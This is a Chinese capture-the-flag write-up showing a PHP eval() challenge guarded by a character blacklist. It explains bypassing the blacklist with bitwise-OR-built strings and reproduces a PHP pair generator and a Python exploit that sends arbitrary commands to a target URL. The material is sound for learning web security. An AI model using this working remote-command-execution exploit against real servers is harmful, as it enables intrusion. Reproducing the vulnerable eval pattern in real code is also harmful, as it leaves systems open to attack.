利用或运算活字印刷

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

本题过滤了大量字符,但留了 | 运算符未被过滤,则可通过按位或运算逐字得到我们要执行的命令。

原理分析

| 运算符指按位或运算,可将数值、字符等在二进制层面进行或运算:

1
2
3
4
echo "a" | "b";
# 01100001 (字符 "a" 的 ASCII 码值 97 转换为二进制)
# 01100010 (字符 "b" 的 ASCII 码值 98 转换为二进制)
# 输出 c ( 01100011 ,字符 "c" 的 ASCII 码值 98 转换为二进制)

了解了原理,看看大佬([羽](ctfshow web入门 web41_ctfshow web41-CSDN博客))写的脚本吧:

脚本一(PHP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { # 遍历 0 到 255 (有冗余,其实到 127 即可)
for ($j=0; $j <256 ; $j++) {

if($i<16){ # 补齐小于 16 的十六进制数长度
$hex_i='0'.dechex($i); # dechex() 函数将十进制转换为十六进制
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ # hex2bin() 函数将十六进制数值转换为原始二进制数据,如果有对应的 ASCII 字符,则输出字符
echo ""; # 只有两个字符都未被过滤的情况下,才会用于合成被过滤的字符,否则不进行任何操作
}

else{
$a='%'.$hex_i; # URL 编码前 128 位与 ASCII 码一致
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) { # ASCII 码前 32 位是控制字符,不可打印且无可见意义(但可用于或运算);第 128 位是删除符,不可打印
$contents=$contents.$c." ".$a." ".$b."\n"; # 在 rce_or.txt 文件中在每行按照 A %01 %40 这样的形式拼接字符串
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

脚本二(Python):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# exp.py
# 运行时在命令行中输入 python exp.py <目标url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import * # 会将 sys 模块中的所有公共对象导入到当前命名空间,所以下面可以直接使用 argv 而无需使用 sys. 前缀
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2): # 纠错机制,格式错误程序会正常退出
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1] # 将用户输入的第二个参数作为 URL (注意“python exp.py <url>”中首个参数从脚本文件名开始而不是从 python 开始)
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline() # 每次循环文件指针后移一位, readline() 读取下一行
if t=="":
break # 若读取到文件末尾都没对应字符,退出循环
if t[0]==i:
#print(i)
s1+=t[2:5] # 分别读取每行三个部分如 A %01 %40 的内容
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")" # ("..."|"...") 拼接出准备与运算的字符串
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:")) # 将函数与命令拼接为 ("system")("ls") 的形式(等价于 system("ls") ,此乃变量函数机制,PHP 特性)
data={
'c':urllib.parse.unquote(param) # URL 解码
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

后面如果遇到可以用或运算活字印刷的,可以改一下该脚本或者自己写类似的脚本。